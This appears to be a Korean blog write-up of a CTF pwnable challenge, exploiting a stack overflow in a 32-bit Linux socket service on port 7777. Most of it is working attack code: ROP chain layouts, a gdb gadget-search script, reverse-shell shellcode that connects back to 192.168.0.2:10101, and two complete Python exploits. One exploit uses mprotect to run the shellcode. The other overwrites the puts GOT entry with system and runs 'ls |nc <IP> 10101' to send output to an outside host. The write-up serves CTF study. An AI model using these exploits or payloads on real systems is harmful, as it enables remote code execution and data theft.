readellf를 통해 header를 확인하면 32-bit elf 파일이란 것을 확인 할 수 있다.
hexray를 이용하여 소스들을 확인할 수 있다.
main.c
int __cdecl main() { signed int v1; // [sp+2Ch] [bp-4h]@4 sockfd = socket(2, 1, 0); if ( sockfd == -1 ) { perror( "socket"); exit(1); } my_addr.sa_family = 2; *(_WORD *)&my_addr.sa_data[0] = htons(7777u); *(_DWORD *)&my_addr.sa_data[2] = 0; *(_DWORD *)&my_addr.sa_data[6] = 0; *(_DWORD *)&my_addr.sa_data[10] = 0; v1 = 1; setsockopt(sockfd, 1, 2, &v1, 4u); if ( bind(sockfd, &my_addr, 16u) == -1 ) { perror( "bind"); exit(1); } if ( listen(sockfd, 100) == -1 ) { perror( "listen"); exit(1); } puts( "Way to go!"); while ( 1 ) { while ( 1 ) { sin_size = 16; client_fd = accept(sockfd, &their_addr, &sin_size); if ( client_fd != -1 ) break; perror( "accept"); } if ( !fork() ) break; close(client_fd); while ( waitpid(-1, 0, 1) > 0 ) ; } func(client_fd); return close(client_fd); } |
main의 소스는 단순히 소켓 통신을 위한 코드들이고 내부에 func이라고 이름 지은 함수 내부에 중요한 코드들이 존재한다.
func.c
ssize_t __cdecl func( int fd ) { unsigned int v1; // eax@1 int v2; // eax@1 char buf; // [sp+10h] [bp-408h]@1 v1 = time(0); srand(v1); puts( "Client has connected successfully :)" ); send( fd, "MSG : " , 6u, 0); memset(&buf, 0, 1024u); v2 = rand(); return recv(fd , &buf, v2 % 100 + 1025, 0); } |
내부 코드들은 정말 단순하다. "MSG: " 문자열을 client 측으로 send 하고 단순히 rand()함수를 이용하여 나온 값 만큼 recv 함수를 통해 받는다.
2개의 공격 방법이 존재한다.
mprotect 함수를 이용하여 stack 영역에 실행 권한을 할당하고 shellcode를 실행하는 방법이다.
[buffer] [SFP] [RET]
[ dummy ] [send.plt] [ppppr] [fd] [puts.got] [4] [0] [recv.plt] [ppppr] [fd] [puts.got] [4] [0] [recv.plt] [ppppr] [fd] [customstack] [len(shellcode)] [0] [puts.got(mprotect)] [pppr] [customstack] [len(shellcode)] [0x07(rwx)] [customstack]
ROP를 이용하여 puts got에 offset을 이용하여 system 주소를 덮어쓰고 고정 영역인 bss 부분에 명령어를 넣어 puts.plt를 이용하여 system 함수를 실행시킨다.
[SFP] [RET]
[send.plt] [ppppr] [fd] [puts.got] [4] [0] [recv.plt] [ppppr] [fd] [bss] [size] [0] [recv.plt] [ppppr] [fd] [puts.got] [4] [0] [puts.plt] [ppppr] [bss]
방법 1
send.plt
gdb에 스크립트를 이용하여 ppppr 부분이 있는지 조사
set height 0 b *main commands 1 set $start = (unsigned char *)0x8048620 while ( 1 ) if (*$start == 0xc3) printf "%#x\n", $start x/5i $start-4 end set $start = $start+1 end end |
puts.got와 puts.plt를 구한다
recv.plt
offset = mprotect - puts = 0x84700
]
shellcode(192.168.0.2 10101)
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89
\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd
\x80\x49\x79\xf9\x68\xc0\xa8\xce\x82\x68
\x02\x00\x27\x75\x89\xe1\xb0\x66\x50\x51
\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f
\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
필요한 영역의 주소들을 다 구한 후 python 스크립트를 이용하여 공격 코드를 작성한다.
#!/usr/bin/python from struct import * from socket import * import time HOST = 'localhost' PORT = 7777 sock = socket(AF_INET, SOCK_STREAM) sock.connect((HOST, PORT)) sendplt = 0x8048610 recvplt = 0x80485f0 putsplt = 0x8048550 putsgot = 0x804a018 ppppr = 0x80489cc pppr = 0x0804878d bss = 0x804a054 customstack = 0xbf8f5000 offset = 0x84700 shellcode = "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89 \xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd \x80\x49\x79\xf9\x68\xc0\xa8\xce\x82\x68 \x02\x00\x27\x75\x89\xe1\xb0\x66\x50\x51 \x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f \x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 \x52\x53\x89\xe1\xb0\x0b\xcd\x80" fd = 4 dummy = '\x90'*1036 data = sock.recv(1024) print data #data = raw_input() payload = dummy + pack("<I", sendplt) + pack( "<I", ppppr) + pack("<I" , fd) + pack("<I", putsgot) + pack("<I" , 0x04) + pack("<I", 0x00) + pack( "<I", recvplt) + pack("<I", ppppr) + pack("<I" , fd) + pack("<I", putsgot) + pack( "<I", 0x04) + pack("<I", 0x00) + pack("<I" , recvplt) + pack("<I", ppppr) + pack( "<I", fd) + pack("<I", customstack) + pack("<I" , len(shellcode)) + pack("<I", 0x00) + pack("<I", putsplt) + pack("<I" , pppr) + pack("<I", customstack) + pack( "<I", 0x10101) + pack("<I" , 0x07) + pack("<I", customstack) print len(payload) #data = raw_input() sock.send(payload) #puts = unpack("<I", sock.recv(4))[0] puts = sock.recv(1024) puts = unpack("<I", puts)[0] print "puts addr %#x" % puts mprotect = puts + offset print "mprotect addr %#x" % mprotect mprotect = pack("<I", mprotect) #time.sleep(1) sock.send(mprotect) #sock.settimeout(0.1) sock.send(shellcode) sock.close() |
성공
*하지만 이 방법은 recv 사이즈가 1025 ~ 1034인데 반해 payload의 크기가 1132 bytes라 성공 확률이 2% 이내로 되어 매우 낮다고 볼 수 있다. 실제 대회 때 5시간 넘게 해야 될지도...
방법 2
두 번째 방법은 ROP를 이용하는 방법이다. send.plt를 통해 puts.got 값을 가져와 offset으로 system 주소를 만들고 bss 영역에 system 함수에 넣을 명령어를 넣고 puts.plt로 실행한다.
# !/usr/bin/python import time from socket import * from struct import * HOST = 'localhost' PORT = 7777 sock = socket(AF_INET, SOCK_STREAM) sock.connect((HOST, PORT)) pppr = 0x804878d ppppr = 0x80489cc recv_plt = 0x80485f0 puts_plt = 0x8048550 puts_got = 0x804a018 send_plt = 0x8048610 offset = 0x26cf0 bss = 0x804a054 cmd = "ls |nc <IP> 10101" dummy = "\x90"*1036 data = sock.recv(1024) print data payload = dummy + pack( "<I", send_plt) + pack( "<I" , ppppr) + pack("<I" , 0x04) + pack( "<I", puts_got) + pack("<I" , 0x04) + pack( "<I", 0) + pack( "<I" , recv_plt) + pack("<I" , ppppr) + pack( "<I", 0x04) + pack( "<I" , bss) + pack("<I" , 1024) + pack( "<I", 0) + pack( "<I" , recv_plt) + pack("<I" , ppppr) + pack( "<I", 0x04) + pack("<I" , puts_got) + pack( "<I", 0x04) + pack( "<I" , 0x00) + pack("<I" , puts_plt) + pack( "<I", 0x90909090) + pack("<I" , bss) #print payload #data = raw_input() sock.send(payload) puts = sock.recv(1024) print "puts : %#x" %unpack( "<I" , puts)[0] system = unpack( "<I", puts)[0] - offset print "system : %#x" % system system = pack( "<I", system) #print "%#x" % unpack( "<I" , data)[0] sock.send(cmd) time.sleep(1) sock.send(system) sock.close() |
성공
'Security' 카테고리의 다른 글
[Pwnable] root-me.org/Hardened binary 1 (0) | 2014.01.22 |
---|---|
[Pwnable] Exploit Exercises (0) | 2013.08.09 |
[ Pwnable ] SIS/System 3 (0) | 2013.04.01 |
[ Pwnable ] SIS / System 2 (0) | 2013.04.01 |
[ Pwnable ] SIS / System 1 (0) | 2013.04.01 |